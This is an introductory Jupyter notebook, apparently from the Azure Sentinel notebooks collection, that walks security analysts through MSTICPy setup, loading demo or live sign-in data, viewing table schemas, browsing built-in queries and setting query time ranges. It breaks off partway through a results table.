{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# An introduction to Cybersec notebook features\r\n",
    "\r\n",
    "---\r\n",
    "\r\n",
    "# Contents\r\n",
    "\r\n",
    "- Introduction\r\n",
    "- Setting up the notebook environment\r\n",
    "- Querying data from Azure Sentinel\r\n",
    "- Visualizing data\r\n",
    "- Enriching data\r\n",
    "- Analyzing data\r\n",
    "- Using Pivot functions\r\n",
    "- Appendices\r\n",
    "  - Additional resources\r\n",
    "  - A brief introduction to pandas DataFrames\r\n",
    "\r\n",
    "---\r\n",
    "\r\n",
    "# Introduction\r\n",
    "\r\n",
    "This notebook takes you through some of the features of Azure Sentinel Notebooks and MSTICPy.\r\n",
    "\r\n",
    "If you are new to notebooks we strongly recommend starting with the:\r\n",
    "**A Getting Started Guide For Azure Sentinel ML notebooks**.\r\n",
    "\r\n",
    "After you've finished running this notebook, we also recommend:\r\n",
    "\r\n",
    "- **Configuring your environment** - this covers all of the configuration options for \r\n",
    "  accessing external cybersec resources\r\n",
    "\r\n",
    "Each topic includes 'learn more' sections to provide you with the resource to deep\r\n",
    "dive into each of these topics. We encourage you to work through the notebook from start\r\n",
    "to finish.\r\n",
    "\r\n",
    "<div style=\"border: solid; padding: 5pt\">\r\n",
    "<b>Notes:</b>\r\n",
    "<ul>\r\n",
    "  <li>This notebook assumes that you are running this in an Azure Notebooks environment</li>\r\n",
    "  <li>This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not\r\n",
    "    yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.</li>\r\n",
    "  <li>This notebook uses the following components and assumes that you have configuration\r\n",
    "    set up for them as described in the **A Getting Started Guide For Azure Sentinel ML** notebook:\r\n",
    "    <ul>\r\n",
    "      <li>The VirusTotal Threat intelligence provider\r\n",
    "      <li>The Maxmind GeoLite2 geolocation provider.\r\n",
    "    </ul>\r\n",
    "  </li>\r\n",
    "</ul>\r\n",
    "</div>\r\n",
    "\r\n",
    "<br>\r\n",
    "<hr>\r\n",
    "<h3 style=\"color: Black; background-color: Khaki; padding: 5px\">\r\n",
    "Note: Please run the the code cells in sequence. Skipping cells will results in errors.</h3>\r\n",
    "<hr>"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Setting up the notebook environment\r\n",
    "\r\n",
    "## MSTICPy initialization\r\n",
    "\r\n",
    "This cell installs/updates and initializes the MSTICPy package. It should complete without errors.\r\n",
    "\r\n",
    "If you see errors or warnings about missing configuration, please return\r\n",
    "to the **A Getting Started Guide For Azure Sentinel ML** notebook or\r\n",
    "the **Configuring your environment** to correct this."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Note: you may need to restart the kernel to use updated packages.\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<hr><h4>Starting Notebook initialization...</h4>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "msticpy version installed: 1.3.0 latest published: 1.3.0<br>Latest version is installed.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Processing imports.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Imported: pd (pandas), IPython.get_ipython, IPython.display.display, IPython.display.HTML, IPython.display.Markdown, widgets (ipywidgets), pathlib.Path, plt (matplotlib.pyplot), matplotlib.MatplotlibDeprecationWarning, sns (seaborn), np (numpy), msticpy.data.QueryProvider, msticpy.nbtools.foliummap.FoliumMap, msticpy.common.utility.md, msticpy.common.utility.md_warn, msticpy.common.wsconfig.WorkspaceConfig, msticpy.datamodel.pivot.Pivot, msticpy.datamodel.entities, urllib.request.urlretrieve <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Checking configuration.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Setting notebook options.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h4>Notebook initialization complete</h4>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "%pip install --upgrade --quiet msticpy\r\n",
    "\r\n",
    "REQ_PYTHON_VER=\"3.6\"\r\n",
    "REQ_MSTICPY_VER=\"1.4.2\"\r\n",
    "\r\n",
    "# intialize msticpy\r\n",
    "from msticpy.nbtools import nbinit\r\n",
    "nbinit.init_notebook(\r\n",
    "    namespace=globals(),\r\n",
    "    extra_imports=[\"urllib.request, urlretrieve\"],\r\n",
    "    friendly_exceptions=False,\r\n",
    ")\r\n",
    "pd.set_option(\"display.html.table_schema\", False)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "\n",
    "# Querying Data from Azure Sentinel\n",
    "\n",
    "We will use MSTICPy's `QueryProvider()` class from MSTICPy to query data.\n",
    "\n",
    "Some of the next section is a review of material contained in the\n",
    "**A Getting Started Guide For Azure Sentinel ML** notebook.\n",
    "\n",
    "## The QueryProvider class\n",
    "\n",
    "The query provider class has one main function:<br>\n",
    "\n",
    "- querying data from a data source to make it available to view and analyze in the notebook.\n",
    "\n",
    "Query results are always returned as *pandas* DataFrames. If you are new\n",
    "to using *pandas* look at the **Introduction to Pandas** section at the end\n",
    "of this notebook.\n",
    "\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Note:</b>\n",
    "you can use the <b>QueryProvider</b> class to connect to different data sources such as MDATP,\n",
    "Splunk, Microsoft Graph API, but these are not covered here.\n",
    "</div>\n",
    "\n",
    "### Learn more:\n",
    "\n",
    "- More details on configuring and using QueryProviders can be found in the\n",
    "  [MSTICPy Documentation](https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider).\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Choose whether to use demonstration or live Azure Sentinel\n",
    "\n",
    "You can use this notebook with either live data queried from Azure Sentinel\n",
    "or with sample data downloaded from the Azure-Sentinel-Notebooks GitHub.\n",
    "\n",
    "Run the following cell and use the option buttons to select which of these you want to use.\n",
    "The option buttons use a timeout. After 15 seconds the default of \"Demo data\"\n",
    "will be automatically selected.\n",
    "\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Tip:</b>\n",
    "You can re-run this cell to select a different option but\n",
    "you <b>must also</b> re-run the cell following this one after changing your selection.<br>\n",
    "Doing this will re-initialize the data providers correctly.\n",
    "</div>\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "56198cf2e3644be0a0811ed4d56e3e11",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Label(value='Choose the data source'), HBox(children=(Button(description='Azure Sentinel', styl…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "data_opt = nbwidgets.OptionButtons(\r\n",
    "    description=\"Choose the data source\",\r\n",
    "    buttons=[\"Azure Sentinel\", \"Demo data\"],\r\n",
    "    default=\"Demo data\",\r\n",
    "    timeout=15,\r\n",
    ")\r\n",
    "await data_opt.display_async()\r\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Most of the code in the cell below handles download of demo data.\n",
    "\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Notes:</b>\n",
    "    <p>1. Demo is still downloaded even if chose Azure Sentinel (although this is\n",
    "        cached after the first download). The demo data<br>\n",
    "is used as a backup if the queries to the Azure Sentinel workspace return\n",
    "no data.</p>\n",
    "<p>2. If you see a warning \"Runtime dependency of PyGObject is missing\" when loading the<br>\n",
    "Azure Sentinel driver please see the FAQ section at the end of the \n",
    "    <i>A Getting Started Guide For Azure Sentinel ML Notebooks</i> notebook.</p>\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Downloading sample files...\n"
     ]
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "c8b7d15038e74a7f8e747ed7248dbb3f",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "File downloads:   0%|          | 0/7 [00:00<?, ?file/s]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Files downloaded: exchange_admin.pkl, processes_on_host.pkl, timeseries.pkl, data_queries.yaml, aad_logons.pkl, host_logons.pkl, alerts_list.pkl\n",
      "Local data query provider loaded\n",
      "Connected.\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "        <div style=\"color: White; background-color: DarkOliveGreen; padding: 5px\">\n",
       "        <p style=\"font-size: 20px\">Using Azure Sentinel as primary data source.</p>\n",
       "        <p>Please copy the code and click on the URL to authenticate\n",
       "        to Azure Sentinel if prompted to do so.</p>\n",
       "        </div>\n",
       "        "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}"
      ],
      "text/plain": [
       "<IPython.core.display.Javascript object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}"
      ],
      "text/plain": [
       "<IPython.core.display.Javascript object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from urllib.request import urlretrieve\r\n",
    "from pathlib import Path\r\n",
    "from IPython.display import HTML\r\n",
    "from tqdm.auto import tqdm\r\n",
    "\r\n",
    "GH_URI = \"https://raw.githubusercontent.com/Azure/Azure-Sentinel-Notebooks/master/{file_name}\"\r\n",
    "GH_FILES = {\r\n",
    "    \"exchange_admin.pkl\": \"data\",\r\n",
    "    \"processes_on_host.pkl\": \"data\",\r\n",
    "    \"timeseries.pkl\": \"data\",\r\n",
    "    \"data_queries.yaml\": \"data\",\r\n",
    "    \"aad_logons.pkl\": \"nbdemo/data\",\r\n",
    "    \"host_logons.pkl\": \"nbdemo/data\",\r\n",
    "    \"alerts_list.pkl\": \"nbdemo/data\",\r\n",
    "}\r\n",
    "\r\n",
    "\r\n",
    "def _get_gh_files(files):\r\n",
    "    tgt_path = Path(\"./asn_data\")\r\n",
    "    tgt_path.mkdir(exist_ok=True)\r\n",
    "    for file, path in tqdm(files.items(), desc=\"File downloads\", unit=\"file\"):\r\n",
    "        file_path = tgt_path.joinpath(file)\r\n",
    "        if file_path.is_file():\r\n",
    "            continue\r\n",
    "        url_path = f\"{path}/{file}\" if path else file\r\n",
    "        urlretrieve(\r\n",
    "            GH_URI.format(file_name=url_path),\r\n",
    "            file_path\r\n",
    "        )\r\n",
    "    print(\"Files downloaded:\", \", \".join(files.keys()))\r\n",
    "\r\n",
    "\r\n",
    "def _update_timestamps(file):\r\n",
    "    if not file.endswith(\".pkl\"):\r\n",
    "        return\r\n",
    "    data = pd.read_pickle(file)\r\n",
    "    date_cols = data.select_dtypes('datetime').columns\r\n",
    "    for col in date_cols:\r\n",
    "        now_delta = pd.Timestamp(\"now\") - data[col].max()\r\n",
    "        data[col] = data[col] + now_delta\r\n",
    "    if not date_cols.empty:\r\n",
    "        data.to_pickle(file)\r\n",
    "\r\n",
    "\r\n",
    "print(\"Downloading sample files...\")\r\n",
    "_get_gh_files(GH_FILES)\r\n",
    "for file in GH_FILES:\r\n",
    "    _update_timestamps(f\"./asn_data/{file}\")\r\n",
    "\r\n",
    "# Create local data provider\r\n",
    "qry_prov = QueryProvider(\"LocalData\", data_paths=[\"./asn_data\"], query_paths=[\"./asn_data\"])\r\n",
    "print(\"Local data query provider loaded\")\r\n",
    "qry_prov.connect()\r\n",
    "# Create Azure Sentinel\r\n",
    "qry_prov_azs = QueryProvider(\"AzureSentinel\")\r\n",
    "\r\n",
    "if data_opt.value and data_opt.value.casefold() != \"demo data\":\r\n",
    "    # Create Azure Sentinel provider and connect\r\n",
    "    qry_prov_loc = qry_prov\r\n",
    "    qry_prov = qry_prov_azs\r\n",
    "    display(HTML(\"\"\"\r\n",
    "        <div style=\"color: White; background-color: DarkOliveGreen; padding: 5px\">\r\n",
    "        <p style=\"font-size: 20px\">Using Azure Sentinel as primary data source.</p>\r\n",
    "        <p>Please copy the code and click on the URL to authenticate\r\n",
    "        to Azure Sentinel if prompted to do so.</p>\r\n",
    "        </div>\r\n",
    "        \"\"\"\r\n",
    "    ))\r\n",
    "    qry_prov.connect(WorkspaceConfig())\r\n",
    "else:\r\n",
    "    display(HTML(\"\"\"\r\n",
    "        <div style=\"color: White; background-color: DarkOliveGreen; padding: 5px\">\r\n",
    "        <p style=\"font-size: 20px\">Using local data as primary data source.</p>\r\n",
    "        </div>\r\n",
    "        \"\"\"\r\n",
    "    ))\r\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Azure Sentinel data schema\r\n",
    "\r\n",
    "Now that we have connected we can query Azure Sentinel for data.\r\n",
    "\r\n",
    "Before we do that there are a couple of things that help us understand what data is available to query.<br>\r\n",
    "The AzureSentinel QueryProvider has a \"schema_tables\" property that lets us get a list of tables\r\n",
    "as well the schema (column names and data types) for each table.\r\n",
    "\r\n",
    "After that we'll look at the queries available.\r\n",
    "\r\n",
    "<p style=\"border: solid; padding: 5pt\"><b>Note</b>:\r\n",
    "For local data this will just appear as a list of files.\r\n",
    "</p>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['AACAudit',\n",
       " 'AACHttpRequest',\n",
       " 'AADDomainServicesAccountLogon',\n",
       " 'AADDomainServicesAccountManagement',\n",
       " 'AADDomainServicesDirectoryServiceAccess',\n",
       " 'AADDomainServicesLogonLogoff',\n",
       " 'AADDomainServicesPolicyChange',\n",
       " 'AADDomainServicesPrivilegeUse',\n",
       " 'AADDomainServicesSystemSecurity',\n",
       " 'AADManagedIdentitySignInLogs']"
      ]
     },
     "execution_count": 13,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Get list of tables in our Workspace with the 'schema_tables' property\r\n",
    "qry_prov.schema_tables[:10]  # We are outputting only a sample (first 10) tables for brevity\r\n",
    "                             # remove the \"[:10]\" to see the whole list\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{\n",
      "    \u001b[94m\"AADTenantId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AlternateSignInName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AppDisplayName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AppId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AuthenticationDetails\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AuthenticationMethodsUsed\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AuthenticationProcessingDetails\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AuthenticationRequirement\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"AuthenticationRequirementPolicies\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Category\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ClientAppUsed\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ConditionalAccessPolicies\"\u001b[39;49;00m: \u001b[33m\"dynamic\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ConditionalAccessStatus\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"CorrelationId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"CreatedDateTime\"\u001b[39;49;00m: \u001b[33m\"datetime\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"DeviceDetail\"\u001b[39;49;00m: \u001b[33m\"dynamic\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"DurationMs\"\u001b[39;49;00m: \u001b[33m\"long\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"FlaggedForReview\"\u001b[39;49;00m: \u001b[33m\"bool\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"HomeTenantId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"IPAddress\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"IPAddressFromResourceProvider\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Id\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Identity\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"IsInteractive\"\u001b[39;49;00m: \u001b[33m\"bool\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"IsRisky\"\u001b[39;49;00m: \u001b[33m\"bool\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Level\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Location\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"LocationDetails\"\u001b[39;49;00m: \u001b[33m\"dynamic\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"MfaDetail\"\u001b[39;49;00m: \u001b[33m\"dynamic\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"NetworkLocationDetails\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"OperationName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"OperationVersion\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"OriginalRequestId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ProcessingTimeInMilliseconds\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Resource\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceDisplayName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceGroup\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceIdentity\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceProvider\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResourceTenantId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResultDescription\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResultSignature\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ResultType\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskDetail\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskEventTypes\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskEventTypes_V2\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskLevelAggregated\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskLevelDuringSignIn\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"RiskState\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ServicePrincipalId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"ServicePrincipalName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"SignInIdentifier\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"SignInIdentifierType\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"SourceSystem\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Status\"\u001b[39;49;00m: \u001b[33m\"dynamic\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"TimeGenerated\"\u001b[39;49;00m: \u001b[33m\"datetime\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"TokenIssuerName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"TokenIssuerType\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"Type\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"UserAgent\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"UserDisplayName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"UserId\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"UserPrincipalName\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m,\n",
      "    \u001b[94m\"UserType\"\u001b[39;49;00m: \u001b[33m\"string\"\u001b[39;49;00m\n",
      "}\n",
      "\n"
     ]
    }
   ],
   "source": [
    "# Display the schema for a single table\r\n",
    "if qry_prov.environment == \"AzureSentinel\":\r\n",
    "    print(qry_prov.schema['SigninLogs'])\r\n",
    "else:\r\n",
    "    md(\r\n",
    "        \"Note: this is the schema of a local pandas DataFrame\"\r\n",
    "        \" that emulates the Azure Sentinel schema\"\r\n",
    "    )\r\n",
    "    display(qry_prov.Azure.list_all_signins_geo().dtypes)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## MSTICPy Query browser\r\n",
    "\r\n",
    "MSTICPy includes a number of built in queries.\r\n",
    "Most require additional parameters such as the time range and often an\r\n",
    "identifying parameter such as the host name, account name or IP address that\r\n",
    "you are querying for.\r\n",
    "\r\n",
    "You also can list available queries from Python code with:\r\n",
    "```\r\n",
    "qry_prov.list_queries()\r\n",
    "```\r\n",
    "Get specific details about a query by calling it with \"?\" as a parameter:\r\n",
    "```\r\n",
    "qry_prov.Azure.list_all_signins_geo(\"?\")\r\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Query browser\r\n",
    "\r\n",
    "The query browser combines both of these functions in a scrollable\r\n",
    "and filterable list."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "8d2157a62e404bd5a36ff25f0b4f10d5",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value='', description='Filter:', style=DescriptionStyle(description_width='initial')), Sel…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<hr>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h3>Gets latest VMComputer record for Host</h3><div></div><p><b>Parameters</b></p><div>add_query_items: str (optional)</div><div style='margin-left: 40px'>    Additional query clauses</div><div>end: datetime (optional)</div><div style='margin-left: 40px'>    Query end time</div><div>host_name: str</div><div style='margin-left: 40px'>    The Computer name of the VM</div><div>start: datetime (optional)</div><div style='margin-left: 40px'>    Query start time</div><div style='margin-left: 40px'>    (default value is: -5)</div><div>table: str (optional)</div><div style='margin-left: 40px'>    Table name</div><div style='margin-left: 40px'>    (default value is: VMComputer)</div><br><p><b>Query</b></p><pre>{table} \n",
       "| where TimeGenerated >= datetime({start}) \n",
       "| where TimeGenerated <= datetime({end}) \n",
       "| where Computer has \"{host_name}\" \n",
       "| take 1</pre><br>\n",
       "        <p><b>Example</b></p>\n",
       "        <p>{QueryProvider}[.QueryPath].QueryName(params...)</p>\n",
       "        <pre>qry_prov.Azure.get_vmcomputer_for_host(start=start, end=end, hostname=host)</pre>\n",
       "    "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "qry_prov_azs.browse_queries()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Most queries require time parameters!\r\n",
    "\r\n",
    "Datetime strings are **painful** to type in and keep track of.\r\n",
    "\r\n",
    "Fortunately MSTICPy has an easier way to specify time parameters for queries:\r\n",
    "\r\n",
    "- you can use the built-in `query_time` widget to set the default time range for queries\r\n",
    "- alernatively, you can use the MSTICPy `nbwidgets.QueryTime` class to set a custom<br>\r\n",
    "  time range and pass it as a parameter.\r\n",
    "\r\n",
    "Example of using standalone `nbwidgets.QueryTime` instance\r\n",
    "```python\r\n",
    "timerange = nbwidgets.QueryTime(unit=\"day\")\r\n",
    "\r\n",
    "qry_prov.WindowsSecurity.list_host_logons(timerange, host_name=\"my_host\")\r\n",
    "```"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "78c89337a5b54647ada95c85bfc16b7d",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(HTML(value='<h4>Set query time boundaries</h4>'), HBox(children=(DatePicker(value=datetime.date…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "qry_prov.query_time"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
